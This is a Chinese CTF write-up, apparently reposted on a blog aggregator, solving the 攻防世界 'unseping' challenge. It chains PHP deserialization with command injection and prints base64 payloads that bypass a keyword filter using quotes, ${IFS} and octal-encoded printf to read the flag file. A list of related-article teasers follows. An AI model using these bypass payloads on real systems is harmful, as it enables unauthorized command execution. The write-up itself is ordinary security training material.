攻防世界unseping

news/2025/1/12 6:01:11/

感觉新手题里面最难的一题

----------------------------------------------------------------正文

原题:攻防世界

这个题涉及的只是挺多的,不过主要就是正则表达式,php的反序列化

下面是代码分析环节:

 

因为涉及了php的序列化和反序列化,所以我们应该先看最下面的部分:将用base64解码后的变量序列化后用POST传参。 

然后是_consturuct函数,他是在函数调动前启用,为我们构造了$method和$args两个变量。

_dexstruct函数在变量摧毁的时使用,所以我们把他放在后面。

ping函数(姑且怎么说)规定了我们可以调用系统命令。

waf函数,过滤命令。在变量str中过滤掉\ &  \/ cat flag tac php ls命令。

_wakeup函数,反序列化,将args的值作为变量k赋值给变量v

操作步骤:

根据代码我们需要将它补完整,即添加一个序列化。

这串代码的意思为将ease实例化并赋值给变量a,变量a执行系统命令ls。并将a序列化然后赋值给b,输出b,并将b进行base64编码。

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l""s";}}

经过base64编码后

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

因为ls会被过滤掉,在网上查了查发现三种方法能去点过滤:1空的环境变量 2单引号 3双引号

将变量b进行编码后的数字用POST方法传值给ctf后得到

 

成功看到有一个文件夹为flag_1s_here

我们再尝试用ls查看这个文件夹

因为空格也会被过滤,所以我们用${IFS}绕过。

O:4:" ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:32:"l${Z}s${IFS}f${Z}lag_1${Z}s_here";}}

编码后为

 

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319

输入后获得:

 我们看到了一个带有flag的php文件,最后我们用cat抓取这个文件的源码不出意外即可获得旗子

但这里有一个特别的点,就是代码会过滤掉/,而上面的三种方法都不适用于/。所以我们需要寻找一种新的方法:$(printf "\154\163")=ls。

这是我在其他大佬那里找到的,虽然不太清楚是什么,但貌似154转化为8进制转化为10进制后正好对应ascii的l

同样163后正好对应s。所以我们可以将cat flag_1s_here/flag_831b69012c67b35f.php先进行ascii编码后在进行8进制转化。

得到:\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
所以最终的结果为$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
进行base64编码后为Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
用POST对ctf编码后得

 


http://www.ppmy.cn/news/628667.html

相关文章

获取他人ip的几种方法

那么对方的IP地址该如何搜查得到呢?这样的问题你也许会嗤之以鼻,的确,查询对方计算机的IP地址,实在简单得不值得一提;可是,要让你列举出多种IP地址搜查方法时,你可能就感到勉为其难了。下面,本文就对如何快…

IP安全讲解(DHCP Snooping、IPSG、DAI)

目录 DHCP Snooping 与DHCP Snooping联动技术 IP源防攻击技术(IPSG) 动态ARP检测技术(DAI) 配置DHCP Snooping DHCP Snooping DHCP Snooping时DHCP的一种安全特性,用于保证DHCP客户端从合法的DHCP服务器获取IP地…

死亡之ping

一般玩电脑的对这个 PING命令 很熟悉。首先说一下什么是ping。ping是windows自带的一种命令工具。一般是用来检测网络是否通畅,是否存在网络连接问题等。 那怎样运用呢?以WinXP为例,在一种叫做命令提示符的窗口中运行。(在Win9x…

教你防范QQ黑客工具!!!!

希望大家重视这个问题,提高防范意思。 总的说来,QQ黑客工具有如下三大种类: 第一类:侦探IP地址。对于网络用户而言,IP地址是非常重要的,可以说一切黑客入侵的前提就是从侦探IP开始的。现在用的比较多的查找QQ的IP的工具有:Ipview, IpSniper、FolkOicq,可以说这些工具的功…

C语言offsetof宏的使用与模拟实现

⭐️ 往期文章 ✨链接1:C语言文件打开关闭详解、文件顺序读写详解。 ✨链接2:C语言文件随机读写详解(fseek、ftell、rewind)。 ✨链接3:C语言scanf/fscanf/sscnaf和printf/fprintf/sprintf的区别。 ✨链接4:C语言打开文件一次既可…

SQL专家云快速解决阻塞

背景 当数据库突然产生严重阻塞时,运维人员要快速找到阻塞的源头并处理,让业务快速恢复。但是大多数运维人员只掌握了sp_who2、sp_lock等简单的语句,存在以下不足: 找不到真正的源头,过程中会误杀掉大量的会话&#xf…

The argument for the named parameter ‘child‘ was already specified. Try removing one of the named ..

问题描述:运行Flutter示例代码提示报错为: The argument for the named parameter child was already specified. Try removing one of the named arguments,or correcting one of the names to reference a different named parameter. 已指定命名参数…

ECC --- Error Correcting Code,错误检查和纠正

ECC是“Error Correcting Code”的简写,中文名称是“错误检查和纠正”。ECC是一种能够实现“错误检查和纠正”的技术,ECC内存就是应用了这种技术的内存,一般多应用在服务器及图形工作站上,这将使整个电脑系统在工作时更趋于安全稳…